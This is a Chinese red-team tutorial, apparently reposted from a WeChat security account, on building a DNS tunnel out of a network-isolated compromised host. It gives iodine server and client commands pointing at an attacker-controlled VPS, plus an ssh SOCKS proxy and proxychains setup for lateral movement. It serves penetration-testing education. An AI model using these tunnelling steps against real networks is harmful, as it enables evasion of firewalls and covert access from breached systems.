内网渗透之DNS隧道

admin 2021年12月23日03:01:20评论80 views字数 2176阅读7分15秒阅读模式
内网渗透之DNS隧道
原创稿件征集

邮箱:[email protected]
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬


前言

年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。

DNS隧道介绍

DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。


内网渗透之DNS隧道

DNS隧道搭建工具推荐

DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。

前置准备

因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例:


内网渗透之DNS隧道


第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx"

第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。

最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。

配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。

iodine进行隧道搭建

1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。

apt-get install iodine

2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址:


内网渗透之DNS隧道


 iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD  #-f:在前台运行 #-c:禁止检查所有传入请求的客户端IP地址。 #-P:客户端和服务端之间用于验证身份的密码。 #-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。 #这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突 #注意!填写的地址为NS记录

3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的:


内网渗透之DNS隧道


iodine -f -P d1m0n dns2tcp.xxx.com  -M 200
#-riodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道#-M:指定上行主机的大小。#-m:调节最大下行分片的大小。#-f:在前台运行#-T:指定DNS请求类型TYPE,可选项有NULLPRIVATETXTSRVCNAMEMXA#-O:指定数据编码规范。#-P:客户端和服务端之间用于验证身份的密码。#-L:指定是否开启懒惰模式,默认开启。#-I:指定两个请求之间的时间间隔。

两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通:


内网渗透之DNS隧道



到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下:

ssh -N -D 8080 user@192.168.0.1
#-N 指示SSH不要启动shell,因为我们只是想创建代理
#-D 设置动态端口转发,SOCKS代理端口为8080
#user 我们服务器上的用户
#192.168.0.1 tun接口上的iodine服务器


内网渗透之DNS隧道



输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4

vim /etc/proxychains4.conf


内网渗透之DNS隧道


最后验证一下我们的代理有没有搭好:

proxychains4 curl http://www.baidu.com


内网渗透之DNS隧道


大功告成,后面就是内网漫游时间~



实操推荐:DNS服务器配置(通过本课程详细学习了解DNS)

PC端体验地址:http://mrw.so/5YvGsF



内网渗透之DNS隧道
“阅读原文”体验免费靶场!

本文始发于微信公众号(合天网安实验室):内网渗透之DNS隧道

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月23日03:01:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透之DNS隧道https://cn-sec.com/archives/473267.html

发表评论

匿名网友 填写信息